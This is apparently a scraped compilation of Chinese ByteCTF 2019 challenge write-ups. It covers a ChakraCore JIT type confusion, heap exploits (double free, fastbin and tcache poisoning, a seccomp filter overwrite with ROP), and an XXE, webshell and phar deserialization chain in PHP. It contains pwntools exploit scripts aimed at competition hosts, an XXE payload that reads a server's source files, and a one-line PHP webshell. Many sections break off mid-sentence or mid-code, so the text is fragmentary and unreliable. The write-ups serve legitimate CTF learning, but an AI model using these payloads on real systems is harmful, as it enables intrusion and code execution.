Category - ByteCTF2019

  1. ByteCTF 2019 childjs
  2. Points: 740 Solved: 8
  3. nc 112.126.101.96 1338

非常典型的 JavaScript JIT 引擎类型混淆(Type confusion)漏洞。

这道题目基于CVE 2019-0567 / CVE 2019-0539,涉及微软 Edge 浏览器的 JavaScript 引擎Chakra

下面是题目的 diff:

  1. diff -uNr ChakraCore_bak/lib/Backend/GlobOptFields.cpp ChakraCore/lib/Backend/GlobOptFields.cpp
  2. --- ChakraCore_bak/lib/Backend/GlobOptFields.cpp 2019-04-24 10:14:24.012350694 +0800
  3. +++ ChakraCore/lib/Backend/GlobOptFields.cpp 2019-04-24 10:16:11.197823797 +0800
  4. @@ -482,7 +482,6 @@
  5. break;
  6. case Js::OpCode::InitClass:
  7. - case Js::OpCode::InitProto:
  8. case Js::OpCode::NewScObjectNoCtor:
  9. if (inGlobOpt)
  10. {

经过改动后,Chakra引擎会认为,InitProto指令码的执行过程中不产生任何副作用,而实际上InitProto执行过程中,参数的对象类型会发生改变。

经过JIT优化编译后,Chakra引擎会移除检查对象类型是否一致的代码。攻击者可以通过旧类型的操作访问新类型对象内存区域以外的数据,实现内存越界读写。

详细的漏洞原理可以参考利用脚本中的链接。

我们利用了两个DataView对象。通过类型混淆,我们可以修改DataView对象内部指向读写缓冲区的指针,实现对任意内存地址读写。我们首先泄漏DataView对象内部的vtable指针,从而泄漏libChakraCore.so基地址,然后再进

  1. ByteCTF 2019 mulnote
  2. Points: 249 Solved: 49
  3. nc 112.126.101.96 9999

代码有混淆,不过很容易看出是条件竞争漏洞。

释放 chunk 时使用了多线程。调用free函数与清空 chunk 指针之间相隔了整整10秒,能够触发 double free。

先用unsorted bin泄漏libc基地址,然后利用 fastbin attack 向__malloc_hook写入 one_gadget,实现 getshell。

  1. # -*- coding:utf-8 -*-
  2. from pwn import *
  3. import time
  4. context(log_level='debug')
  5. p = process('./mulnote')
  6. #p = remote("112.126.101.96", 9999)
  7. def add(sz, ctx='\n'):
  8. p.sendlineafter('>', 'C')
  9. p.sendlineafter('>', str(sz))
  10. p.sendafter('>', ctx)
  11. def free(idx):
  12. p.sendlineafter('>', 'R')
  13. p.sendlineafter('>', str(idx))
  14. def show():
  15. p.sendlineafter('>', 'S')
  16. ################# Unsorted bin 泄漏 libc 地址 ######################
  17. add(0x400) # idx: 0
  18. free(0)
  19. time.sleep(10) # 等待释放完成...
  20. add(0x400) # idx: 0
  21. show()
  22. p.recvuntil("[0]:\n")
  23. libc_base = u64(p.recv(6).ljust(8, '\0')) - 0x3c4b0a
  24. ######################## Fastbin Attack ############################
  25. add(0x68) # idx:1
  26. add(0x68) # idx:2
  27. free(1)
  28. time.sleep(3

压缩包里的图片有些带有涂写的痕迹
找出涂过的几张,拼起来
title

{fate_stay_nt}
外面加上bytectf

跟boring_code一样上传xml payload到百度云,很容易fuzz出xxe。

XXE to LFI

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE rss [
  3. <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php">
  4. ]>
  5. <rss version="2.0"
  6. xmlns:atom="http://www.w3.org/2005/Atom">
  7. <channel>
  8. <title>先知安全技术社区</title>
  9. <link>http://xz.aliyun.com/forum/</link>
  10. <description>先知安全技术社区</description>
  11. <atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
  12. <language>zh-hans</language>
  13. <lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate>
  14. <item>
  15. <title>利用Excel power query实现远程DDE执行</title>
  16. <link>http://xz.aliyun.com/t/5514</link>
  17. <description>&lt;pre&gt;&xxe;&lt;/pre&gt;</description>
  18. <pubDate>Tue, 02 Jul 2019 06:03:00 +0800</pubDate>
  19. <guid>http://xz.aliyun.com/t/5514</guid>
  20. </item>
  21. </channel>
  22. </rss>

根据index.php里

/www.zip有源码。

哈希长度扩展攻击

检查admin密码:
/config.php
title
给出md5($secret.'adminadmin')==='52107b08c0f3342d2153ae1d68e6262c'
很明显要哈希长度扩展攻击,在密码后扩展

上传shell

尽管.htaccess限制着,shell还是可以上传的。
<?php @$_REQUEST[f]($_REQUEST[x]);就能绕过$black_list。

反序列化漏洞删除.htaccess

这里出现了反序列化漏洞:
title
mime_content_type()如果路径是phar协议的话会对phar文件里的metadata反序列化。反序列化魔术方法只有File::__destruct
title
看起来File::checker = Admin,但是还有另一处可疑的地方:
Profile::__call
title
ZipArchive::open恰好有两个参数,并且可以用来删除文件:
title
所以正确的是Profile::admin = ZipArchive; File::checker = Profile

phar协议绕过正则只需在前面加php协议:php://filter/convert.base64-encode/resource=phar://...

phar.php

  1. <?php
  2. class File {
  3. public $filename;
  4. public $filepath;
  5. public $checker;
  6. function __construct() {
  7. $this->checker = new Profile();
  8. }
  9. // function __destruct() {
  10. // if (isset($this->checker)) {
  11. // $this->checker->upload_file();
  12. // }
  13. // }
  14. }
  15. class Profile {
  16. public $username;
  17. public $

/code/index.php

  1. <?php
  2. function is_valid_url($url) {
  3. if (filter_var($url, FILTER_VALIDATE_URL)) {
  4. if (preg_match('/data:\/\//i', $url)) {
  5. return false;
  6. }
  7. return true;
  8. }
  9. return false;
  10. }
  11. if (isset($_POST['url'])){
  12. $url = $_POST['url'];
  13. if (is_valid_url($url)) {
  14. $r = parse_url($url);
  15. if (preg_match('/baidu\.com$/', $r['host'])) {
  16. $code = file_get_contents($url);
  17. if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
  18. if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
  19. echo 'bye~';
  20. } else {
  21. eval($code);
  22. }
  23. }
  24. } else {
  25. echo "error: host not allowed";
  26. }
  27. } else {
  28. echo "error: invalid url";
  29. }
  30. }else{
  31. highlight_file(__FILE__);
  32. }

绕过url检测

把payload上传百度云,然后按f12点文件按流量,就能找到一个类似的url:
https

算是比较简单的vm题目,指令都是定长的比较舒服,逻辑也清晰。问题出在重新分配内存的时候,如果大小大于0xa00000,这时候size已经被修改了,但是代码段空间的范围并没有随之更新,因此能够造成一个越界读写。 ![](https://leanote.com/api/file/getImage?fileId=5d750790ab644162bb007215) 在opcode编号为3的指令实现的是m

vip函数中输入名字的时候可以覆盖部分的bpf,研究了一下seccomp-tools,发现除了ALLOWKILL,还可以有一种ERRNO的规则,尝试以后发现可以把open的返回值变成0,这样在edit函数中就可以把让fd返回0,变成从标准输入读入任意长度的内容了。

  1. ssize_t __fastcall read_into(void *a1, int a2)
  2. {
  3. int fd; // [rsp+1Ch] [rbp-4h]
  4. if ( dword_4040E0 )
  5. return read(0, a1, a2);
  6. fd = open("/dev/urandom", 0);
  7. if ( fd == -1 )
  8. exit(0);
  9. return read(fd, a1, a2);
  10. }

试了几次发现用以下的规则通过seccomp-tools编译过后可以达到这种效果:

  1. # check if arch is X86_64
  2. A = sys_number
  3. A == openat ? ok : next
  4. return ALLOW
  5. ok:
  6. return ERRNO(0)

需要注意的是,libc中open函数的系统调用号实际上是openat而不是open。有了这个堆溢出就能做tcache posion返回任意地址了。这次的思路是先通过got泄露libc地址,然后通过environ泄露栈地址,算好edit函数的返回地址,做一个简单rop用mprotect打开堆上的执行权限,然后直接调到堆上准备好的cat flag shellcode。不能直接execve或者system getshell,因为这些调用都需要open libc之类的操作,而open的系统调用已经被我们劫持了所以没法使用。

exp.py

  1. from pwn import *
  2. import re
  3. context.terminal = ['tmux', 'splitw', '-h']
  4. context.arch = 'amd64'
  5. context.log_level = "debug"
  6. env = {'LD_PRELOAD': ''}
  7. if len(sys.argv) == 1:
  8. p = proc
![](https://leanote.com/api/file/getImage?fileId=5d75010cab644160a9007010) edit函数输入有一处明显的off by one,可以写入任意字节,能够相当方便地构造overlapping chunk。但是分配的大小只能是0x88以上,fastbin彻底不能使用了。 思路就是先构造一个unsortedbin,然后通过over

相当于一个猜拳游戏,刚开始想理论上最大可能跑3^30次。
试了几次发现,每次进入游戏,第一个只要输和它给的一样的,都是win。
图片标题
这说明这题其实不是随机的,然后多试几次找找规律。 把它给的 jsb当做一个数组 a[]={"j","s","b"} 从第一个题目给的字母开始计数,0 2 1偏移依次循环即可。 比如说,第一个给的是b,输入b显示you win!。 第二个给的是s,s偏移2位是j,输入j显示you win! 依次类推,每三次是一个循环。 因为就三十次,刚开始手动跑出来了。
图片标题
之后又写了个脚本

  1. from pwn import *
  2. context.log_level = "debug"
  3. r = remote("112.125.25.81",9999)
  4. a = ["j","s","b"]
  5. offset = [0,2,1]
  6. for i in range(30):
  7. r.recvuntil("I will use: ")
  8. char = r.recv(1)
  9. for k in range(3):
  10. if a[k] == char:
  11. break
  12. n = i%3
  13. index = (k+offset[n])%3
  14. payload = a[index]
  15. r.sendline(payload)
  16. r.interactive()